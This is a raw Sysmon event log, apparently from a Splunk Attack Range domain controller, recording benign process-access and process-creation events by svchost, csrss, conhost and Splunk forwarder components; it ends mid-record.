09:09:46.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002336Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.809{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28DA-5F80-6D00-000000007F01}3792C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002335Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.809{A5F018FF-28CF-5F80-2F00-000000007F01}25282280C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-28DA-5F80-6D00-000000007F01}3792C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002334Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.809{A5F018FF-28DA-5F80-6D00-000000007F01}3792C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000002333Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.293{A5F018FF-28D9-5F80-6C00-000000007F01}33963392C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002332Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.137{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D9-5F80-6C00-000000007F01}3396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002331Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002330Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002329Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002328Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002327Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002326Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002325Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002324Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002323Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002322Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.137{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-28D9-5F80-6C00-000000007F01}3396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002321Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.137{A5F018FF-28CF-5F80-2F00-000000007F01}25282280C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-28D9-5F80-6C00-000000007F01}3396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002320Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:45.970{A5F018FF-28D9-5F80-6C00-000000007F01}3396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000002363Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:47.824{A5F018FF-28DB-5F80-6E00-000000007F01}40363776C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002362Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:47.652{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28DB-5F80-6E00-000000007F01}4036C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002361Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:47.652{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002360Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:47.652{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002359Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:47.652{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002358Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:47.652{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002357Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:47.652{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002356Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:47.652{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002355Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:47.652{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002354Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 